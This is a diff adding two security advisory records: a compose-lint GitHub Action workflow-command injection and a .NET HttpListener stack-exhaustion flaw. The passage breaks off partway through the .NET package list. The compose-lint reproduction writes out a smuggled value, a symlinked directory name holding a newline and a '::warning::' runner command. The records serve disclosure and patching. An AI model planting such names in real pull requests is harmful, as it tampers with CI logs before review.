diff --git a/data/GitHub Actions/GHSA-xcf7-88g6-7xr8.json b/data/GitHub Actions/GHSA-xcf7-88g6-7xr8.json
new file mode 100644
index 0000000000..f978189a76
--- /dev/null
+++ b/data/GitHub Actions/GHSA-xcf7-88g6-7xr8.json	
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-xcf7-88g6-7xr8","published":"2026-11-10T21:50:54Z","modified":"2026-11-10T22:00:04.231598969Z","aliases":["CVE-2026-125125"],"summary":" compose-lint: Workflow command injection through SARIF-directory errors triggered by pull request symlinks ","details":"### Impact\n\nIn Action tags v0.30.0 and v0.31.0, when `sarif-file:` names a file in a subdirectory that can't be created, the Action prints the directory's resolved path in an error message. In v0.31.0 that message is outside the window in which the Action turns command processing off, and v0.30.0 has no such window. A pull request can commit a symlink on that path to a directory whose name contains a newline followed by a command.\n\nA pull request can therefore create annotations, fold or hide parts of the job log, or issue other commands the runner accepts, when CI runs compose-lint over it, before anyone reviews it. The pass/fail result is not changed.\n\nOnly the Action is affected, and only when `sarif-file:` points into a subdirectory. The documented setup, `sarif-file: results.sarif` at the repository root, is not affected. The `compose-lint` package, the pre-commit hook and the Docker image do not print this message.\n\nFound during an internal pre-1.0 security review. It was first published as part of GHSA-r7j4-crjv-h467, together with four other gaps in the same fix. Each gap now has its own advisory.\n\n### Patches\n\nFixed in 0.32.0. The SARIF-directory error names the `sarif-file:` input as written.\n\n### Workarounds\n\n- Upgrade to 0.32.0 or later.\n- Keep `sarif-file` at the workspace root, for example `sarif-file: results.sarif`.\n\n### Reproduction\n\nOn a GitHub-hosted runner (runner 2.337.0), the Action at v0.31.0 with `sarif-file: out/reports/results.sarif`, where `out` is a committed symlink to a directory named `d\\n::warning::X` that contains a regular file `reports`, creates an annotation. With `sarif-file` at the repository root it creates none.","affected":[{"package":{"name":"tmatens/compose-lint","ecosystem":"GitHub Actions"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.30.0"},{"fixed":"0.32.0"}]},{"type":"GIT","repo":"https://github.com/tmatens/compose-lint","events":[{"introduced":"adf00708734b772686337b69831c8e3912fa0ed4"},{"fixed":"2d42617e4c6416f797bbfc6a057950131fa02df3"}]}],"versions":["v0.31.0","v0.30.0"],"database_specific":{"last_known_affected_version_range":"<= 0.31.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xcf7-88g6-7xr8/GHSA-xcf7-88g6-7xr8.json"}}],"references":[{"type":"WEB","url":"https://github.com/tmatens/compose-lint/security/advisories/GHSA-xcf7-88g6-7xr8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125125"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/pull/945"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/commit/542e63126f795564a65c63887ea0dc558a500688"},{"type":"PACKAGE","url":"https://github.com/tmatens/compose-lint"},{"type":"WEB","url":"https://github.com/tmatens/compose-lint/releases/tag/v0.32.0"}],"database_specific":{"cwe_ids":["CWE-117","CWE-150"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:50:54Z","nvd_published_at":"2026-11-10T17:17:27Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-3g4v-f5gv-c7xf.json b/data/NuGet/GHSA-3g4v-f5gv-c7xf.json
new file mode 100644
index 0000000000..2b76dc3626
--- /dev/null
+++ b/data/NuGet/GHSA-3g4v-f5gv-c7xf.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-3g4v-f5gv-c7xf","published":"2026-11-10T23:22:54Z","modified":"2026-11-10T23:30:14.338005294Z","aliases":["CVE-2026-109475"],"summary":"Microsoft Security Advisory CVE-2026-109475 - .NET Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET. This advisory provides guidance on updating affected applications and components.\n\nManaged `HttpListener` can recursively process an unterminated request line and exhaust the process stack.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/500\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-121\n\n## Affected Platforms\n\n- **Platforms:** Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 8.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.NETCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n[Microsoft.NETCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm64) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n[Microsoft.NETCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n[Microsoft.NETCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm64) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n[Microsoft.NETCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-x64) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n[Microsoft.NETCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-x64) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n[Microsoft.NETCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-arm64) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n[Microsoft.NETCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-x64) | >= 8.0.0-0, <= 8.0.33 | 8.0.34\n\n### .NET 9.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.NETCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n[Microsoft.NETCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm64) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n[Microsoft.NETCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n[Microsoft.NETCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm64) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n[Microsoft.NETCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-x64) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n[Microsoft.NETCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-x64) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n[Microsoft.NETCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-arm64) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n[Microsoft.NETCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-x64) | >= 9.0.0-0, <= 9.0.22 | 9.0.23\n\n### .NET 10.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.NETCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n[Microsoft.NETCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm64) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n[Microsoft.NETCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n[Microsoft.NETCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm64) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n[Microsoft.NETCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-x64) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n[Microsoft.NETCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-x64) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n[Microsoft.NETCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-arm64) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n[Microsoft.NETCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-x64) | >= 10.0.0-0, <= 10.0.14 | 10.0.15\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.NETCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.linux-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.NETCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.osx-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-109475](https://www.cve.org/CVERecord?id=CVE-2026-109475)\n\n### Acknowledgements\n\n- [Rolf Zengaffinen](https://www.linkedin.com/in/rolf-z-67962959/)\n- DEVENDRA KUMAR SINHA\n- Anonymous\n- [Leandro Batista](https://www.linkedin.com/in/leandrosbatista21/)\n- [Kevin Schmidt](https://www.linkedin.com/in/kevin-sch/)\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 